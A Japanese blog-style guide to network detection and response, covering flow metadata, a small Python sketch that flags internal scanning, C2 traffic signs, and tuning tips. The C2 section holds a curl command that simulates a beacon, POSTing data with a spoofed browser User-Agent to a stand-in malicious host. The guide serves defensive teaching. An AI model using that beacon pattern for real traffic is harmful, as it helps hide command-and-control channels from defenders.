【実務・中級編】ネットワークベースのEDR(NDR: Network Detection and Response)による異常トラフィック分析 – サイバーセキュリティとプライバシー保護実践ガイド

EDRの死角を突くランサムウェア：NDRでネットワークの「沈黙」を可視化する

ネットワークエンジニアの皆さん、お疲れ様です。今日も今日とて、ログの海を泳いでいることでしょう。

昨今のセキュリティトレンドは完全に「ゼロトラスト」に振れています。「境界防御は死んだ」なんて言われて久しいですが、現場で泥臭い運用をしている我々からすれば、「ネットワークという『物理的な真実』は決して嘘をつかない」という感覚が常にあります。

PCにエージェントを入れるEDR（Endpoint Detection and Response）は強力ですが、巧妙な攻撃者はそのエージェント自体を無効化したり、そもそもエージェントをインストールできないIoT機器やレガシーなインフラを踏み台にしてネットワーク内を徘徊します。

そこで重要になるのが NDR（Network Detection and Response） です。今回は、このネットワークの「沈黙」を監視し、ランサムウェアの兆候を捉えるための技術的勘所を解説します。

—

なぜ、パケットの「メタデータ」が重要なのか

ランサムウェアの攻撃フローにおいて、最も危険なのは暗号化が始まる瞬間ではありません。その前の「偵察（Reconnaissance）」と「横展開（Lateral Movement）」のフェーズです。

NDRがやっていることは、単なるパケットキャプチャではありません。流れてくるパケットをリアルタイムで解析し、Flowベースのメタデータに変換しています。

五元組（5-tuple）: 送信元/宛先IP、送信元/宛先ポート、プロトコル
通信の振る舞い: パケットサイズ、インターバル（Jitter）、フロー継続時間
APIコールパターン: HTTPリクエストのヘッダー情報、メソッド、パス

例えば、ある端末が突然、社内の他セグメントに対して SMB（445番ポート）で大量のログイン試行を始めたらどうでしょう。エージェントが沈黙していても、スイッチのミラーポートから流れてくるトラフィックを解析するNDRは、この異常を瞬時に検知します。

—

現場で使える：内部スキャンを検知するPythonスクリプトの着想

NDRが内部で行っている「異常検知」を、まずは手元で再現してみましょう。特定のセグメントで「短時間に接続先IPが異常に多い」という通信パターンを検知するイメージです。

# 簡易的な内部スキャン検知のロジック（概念実証）
import collections

# 監視ログ（送信元IP: 接続先IPのリスト）
flow_logs = [
    ("192.168.1.10", "192.168.2.5"),
    ("192.168.1.10", "192.168.2.6"),
    ("192.168.1.10", "192.168.2.7"),
    # ...数千件のログが続く
]

def detect_scan(logs, threshold=50):
    src_map = collections.defaultdict(set)
    for src, dst in logs:
        src_map[src].add(dst)
    
    # 接続先ユニーク数が閾値を超えたら「スキャン」とみなす
    for src, dsts in src_map.items():
        if len(dsts) > threshold:
            print(f"[ALERT] 異常スキャン検知: {src} が {len(dsts)} 個のホストに接触")

detect_scan(flow_logs)

実際の本番環境では、これを Zeek や Suricata といったツールでパケットレベルで行い、機械学習モデル（Isolation Forestなど）に流し込んで「普段とは違う時間帯の不自然な通信」をスコアリングします。

—

Web API設計者に知ってほしい「不自然なトラフィック」

Webアプリケーションを設計・運用する皆さんに注意してほしいのが、HTTP通信における「C2（コマンド＆コントロール）サーバとの通信パターン」です。

攻撃者は、HTTPS通信の中に不正なコマンドを隠蔽します。NDRは、以下のようなHTTPヘッダーの異常を捉えます。

User-Agent が python-requests/2.25.1 や curl/7.68.0 など、ブラウザ以外の文字列で固定されている
Keep-Alive の時間が極端に短く、かつ一定間隔でビーコン信号のような通信が発生している

例えば、curl でデバッグする際、以下のようにヘッダーを細工してC2通信のテストを行う攻撃者がいます。

# 怪しいビーコン通信のシミュレーション
curl -X POST https://api.malicious-domain.com/v1/data \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
  -H "Content-Type: application/json" \
  -d '{"status": "ready", "id": "uuid-8892"}'

NDRを導入していると、この「一見正常そうなHTTPS通信」の TLS ハンドシェイク時の JA3フィンガープリント（クライアントのTLS設定の特徴値）から、「この通信はブラウザではなく、特定のマルウェアのライブラリ由来である」と特定できるのです。

—

運用上のTips：まずは「ベースライン」を知ることから

NDRを導入して「いきなり攻撃を全部止めよう」と意気込むのは失敗の元です。まずはネットワークの「日常」を知りましょう。

1. ホワイトリストの整備: 監視ツールからのヘルスチェックや、バックアップサーバの定時バックアップ通信など、「異常に見えるが正常な通信」を徹底的に除外設定（チューニング）します。
2. 相関分析の強化: NDR単体で判断せず、SIEM（ログ管理基盤）と連携させましょう。「NDRで異常検知」→「EDRで該当プロセスの確認」→「ファイアウォールでブロック」という連携が自動化できれば理想的です。

最後に：ネットワークは裏切らない

技術がどれだけ抽象化され、クラウドネイティブになっても、物理的なパケットのやり取りという事実は変わりません。エンドポイントのセキュリティが突破されても、NDRという「外側からの目」があれば、攻撃者の足取りを完全に隠すことは不可能です。

皆さんのインフラにも、ぜひ「可視化」という武器を取り入れてみてください。パケットが見えるようになると、トラブルシューティングの景色が変わりますよ。

それでは、また次回の記事でお会いしましょう。現場からは以上です。